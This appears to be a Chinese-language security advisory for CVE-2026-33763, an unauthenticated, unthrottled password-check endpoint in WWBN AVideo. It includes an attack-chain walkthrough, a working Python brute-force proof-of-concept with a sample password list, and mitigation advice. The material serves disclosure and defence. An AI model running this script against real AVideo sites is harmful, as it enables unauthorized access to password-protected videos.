IPBUF安全漏洞报告
English
CVE-2026-33763 CVSS 5.3 中危

CVE-2026-33763 AVideo视频密码验证漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33763
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

信息泄露暴力破解认证绕过WWBN AVideoAPI安全

漏洞概述

WWBN AVideo 26.0及之前版本存在安全漏洞,未授权用户可利用API端点`get_api_video_password_is_correct`验证视频密码。由于缺乏速率限制和认证机制,攻击者能高效进行暴力破解,获取受保护视频的访问权限。

技术细节

该漏洞的核心在于WWBN AVideo的`get_api_video_password_is_correct`接口在设计上严重缺乏必要的安全控制机制。根据CVSS向量分析,该漏洞无需用户交互且无权限要求,攻击者可远程利用。具体而言,接口在验证视频密码时,未对请求来源进行身份认证,也未实施任何请求频率限制或反人机验证(如CAPTCHA)。当攻击者构造包含目标视频ID和猜测密码的请求包发送至服务器时,API会直接返回包含`passwordIsCorrect`字段的JSON数据。这种设计缺陷允许攻击者编写自动化脚本,利用高带宽并发请求对特定视频进行字典攻击或暴力破解,通过分析返回的布尔值快速锁定正确密码,从而完全绕过系统的视频保护机制,导致敏感数据泄露。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者识别出使用WWBN AVideo平台的目标网站,并获取受密码保护的视频ID。
STEP 2
步骤2:武器准备
攻击者准备常用密码字典列表,并编写自动化脚本用于发送HTTP请求。
STEP 3
步骤3:漏洞利用
脚本向`get_api_video_password_is_correct`接口发送大量无需认证的请求,遍历字典中的密码。
STEP 4
步骤4:结果验证
脚本解析API返回的JSON数据,检查`passwordIsCorrect`字段是否为True。
STEP 5
步骤5:数据获取
一旦找到正确密码,攻击者即可输入密码并访问、下载原本受保护的视频内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: WWBN AVideo Unauthenticated Video Password Brute Force # Date: 2026-03-27 # CVE: CVE-2026-33763 def brute_force_video_password(target_url, video_id, password_list): """ Attempts to brute force the password for a protected video on AVideo platform. """ endpoint = f"{target_url}/objects/get_api_video_password_is_correct.json" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } print(f"[*] Starting brute force for Video ID: {video_id}") for password in password_list: # Payload construction payload = { "video_id": video_id, "password": password.strip() } try: # Sending POST request to the vulnerable endpoint response = requests.post(endpoint, data=payload, headers=headers, timeout=5) if response.status_code == 200: response_data = response.json() # Analyzing the boolean response if response_data.get("passwordIsCorrect") is True: print(f"[+] SUCCESS! Password found: {password}") return password else: print(f"[-] Failed attempt: {password}") else: print(f"[!] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") print("[!] Brute force completed, password not found in list.") return None if __name__ == "__main__": # Configuration target = "http://localhost" # Replace with actual target host vid_id = "123" # Replace with valid Video ID wordlist = ["123456", "password", "admin", "12345678", "qwerty", "video"] brute_force_video_password(target, vid_id, wordlist)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
在未完成版本升级前,建议管理员通过WAF(Web应用防火墙)拦截对`get_api_video_password_is_correct`路径的高频访问请求,或暂时禁用该API接口,以降低被暴力破解的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表